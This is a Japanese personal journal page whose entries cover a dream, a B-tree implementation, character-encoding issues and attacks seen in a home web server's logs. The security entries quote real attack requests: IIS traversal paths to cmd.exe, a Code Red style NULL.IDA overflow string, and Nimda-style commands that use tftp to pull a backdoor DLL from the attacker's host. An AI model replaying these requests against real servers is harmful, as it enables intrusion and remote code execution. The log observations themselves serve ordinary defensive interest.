パスワードを忘れた? アカウント作成
529003 journal

amendoaの日記: 夢を見た

日記 by amendoa
草原に囲まれた教会の様な建物。道端は花で飾られている。
青空と明るい日差しでにぎやかに見える。
10才くらいのウェンディ。何か話しかけられる。高いテンションについていけない。

視界が右へ。手前に納屋。向こうに丘が見える。
太陽の方角からして、東を向いているんだなと思った。
視界の左から20才くらいの落ち着いたウェンディが来た。
全然見た目は違うけど、さっきの10才くらいの彼女と同じだと分かる。
籐のような籠をもっている。

目の前を右から猿が横切る。山吹色の袈裟(?)を着て二足歩行している。
格好からして坊さんだと感じる。顔を見るとニホンザルだった。

猿が何かを召還した。龍だと感じる。形はよく分からない。
空が曇っていることに気づく。
自分もやってみようと思って召還してみた。虹色の尾を引く何かが出てきた。
コイかなまずか、そんな感じのもの。5メートルほど上空でアーチを描く。
猿の出したものと比べてショボイなと思った。

視点が変わる。どこかのゲレンデ。さっきの納屋があったかもしれない。
井戸が自分の左にあることに気づく。
振り返ると向こうに丘と林が見える。リフトがその丘の向こうへ伸びている。
夕方の感じがした。
猿が井戸に片手をかけている。見ていると両手を空へ広げた。
また何かを召還すると思った。

視点が変わる。井戸と猿を斜め上から見下ろしている。
召還の動作が続いている。
あたりが暗くなり、井戸からなにか出てくる気配がした。

何か黒い半透明のプヨプヨしたものが井戸からあふれてくる。
井戸の直径と猿の大きさが同じくらいだが、その黒いものは
テニスコート半面くらいの大きさまで広がっていく。

途中で黒い半透明のものが蛙だと感じる。形は全然カエルっぽくない。
その口の中に黄色のカエルが居るのが透けて見える。
黄色いやつは猿と同じくらいの大きさ。これも形が変。
黒いカエルが完全に召還されると、黄色のカエルが中から飛び出した。

場面が変わる。
祖父母の居た家の近くの川。自分が上半身裸で川に浸かっている。
川下へ泳ぎだす。流れに身を任せている感じ。
川は森林地帯の中へと続いていて、そこへと流されていく。
祖父母の家の川とは違う、見たことのない景色。

林道が川の近くを通っており、登山の格好をしている人が何人か居た。
そのなかに知り合いが居たかも。

川に面したところに断層が見えた。数メートルくらいの高さ。
その断層から水が川へと吹き出している。
「粘土層が中にあるから、水が断層の中段から出るんだな」と思う。

少し先にも同じような断層が幾つか見えた。
その先の川は水量が増して危険なように思えたので、林道へ上る事にした。
回りに人は居なかった。

自分が短パンしか身に付けていないので、何か着たいと思った。
足元に中学生のときの制服と体操服、そして紙袋が落ちていた。
とりあえず紙袋に衣類を詰め込む。
「帰らなきゃ。空を飛んで帰ろう。」と感じる。

目が覚める。
431858 journal

amendoaの日記: B-tree

日記 by amendoa
JavaでB-treeを実装してみた。
データをディスクからI/Oできるようにしてみたが、 デバッグもかねて動作を見てみるとやはり充足率が上がらない模様。

さてどうしたものかとWEBをあちこち見てみるも、B-tree関係のドキュメントって少ない事を実感する。
660059 journal

amendoaの日記: 文字コード問題

日記 by amendoa
Apache+PHP+PostgreSQLの環境で自前サーバを運用中。

ケータイ用にいろいろ作っているが

ケータイ(SJIS)
FreeBSD(EUC-JP)
PostgreSQL(UNICODE)

という環境なので文字コードの変換が二回も!
パフォーマンスなんてあまり気にしなくていいのだが、なんかマヌケ時空が発生してそうな気配。
664910 journal

amendoaの日記: 新種がかかった

日記 by amendoa

Apacheログに新しいタイプの攻撃が来てた。
/cgi-bin/やら/cgi-sys/の直下のfrommail.plとかfrommail.cgiをGETしてる。こんな感じ。

GET /cgi-sys/formmail.cgi HTTP/1.0

ググってみると、POSTメソッドやメールアドレス付きのリクエストは多いのに上記のタイプは少ないみたい。新種かな。少なくともマイサーバでは初物。
現状では404を返してるが、何かリクエストに応えるようにしてみよう。

665548 journal

amendoaの日記: Nimda?

日記 by amendoa

まず

/d/winnt/system32/cmd.exe?/c+dir

にアクセスして、成功すると

/d/winnt/system32/cmd.exe?/c+tftp%20-i%20[アクセス元IPアドレス]%20GET%20cool.dll%20c:\\httpodbc.dll
/d/winnt/system32/cmd.exe?/c+tftp%20-i%20[アクセス元IPアドレス]%20GET%20cool.dll%20d:\\httpodbc.dll
/d/winnt/system32/cmd.exe?/c+tftp%20-i%20[アクセス元IPアドレス]%20GET%20cool.dll%20e:\\httpodbc.dll
/d/httpodbc.dll

としてくるようだ。
バックドア入りのhttpodbc.dllへ置き換えるのかな。

666591 journal

amendoaの日記: 釣り

日記 by amendoa
うちのwebサーバに/default.idaへのアクセスを含んだ攻撃が多いので、本物のIISサーバに攻撃したかのような結果を返すようにした。
まぁ/default.idaファイルを作って、IISへ擬似的に攻撃した時の応答を入れただけなんだけれど。

でも、それ以来攻撃のログが増加ぎみ。

しばらく様子見。
672520 journal

amendoaの日記: あたっく

日記 by amendoa
HTTPサーバのログに次の行が出力されていた。
「NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC...」
どうやらWinNTAutoAttackという攻撃用ツールらしい。アクセス元IPの80番ポートをつついたら韓国語の文字コードで書かれたページが。

元IPアドレスを晒すかな。
676525 journal

amendoaの日記: ADSL

日記 by amendoa

この時にすでに開通していたADSLを使って家サーバを構築。
courier-imapは"./Maildir/.Outbox"を作っておいてそこに下書きメールを移動すると、そのメールを送信してくれることを発見。smtpポートを開放せずにメール送信サーバができた。

80番ポートを開けてたら、およそ九時間後に攻撃が来始めた。

/www/c/winnt/system32/cmd.exe
/www/d/winnt/system32/cmd.exe
/www/scripts/:.%5c../winnt/system32/cmd.exe
/www/_vti_bin/:.%5c../:.%5c../:.%5c../winnt/system32/cmd.exe
/www/scripts/root.exe
/www/MSADC/root.exe
/www/_mem_bin/:.%5c../:.%5c../:.%5c../winnt/system32/cmd.exe
/www/msadc/*
/www/scripts/*

ここら辺が多いみたい。剣呑剣呑。

あとでnmapでポートスキャンしてみよう。

typodupeerror

アレゲはアレゲを呼ぶ -- ある傍観者

読み込み中...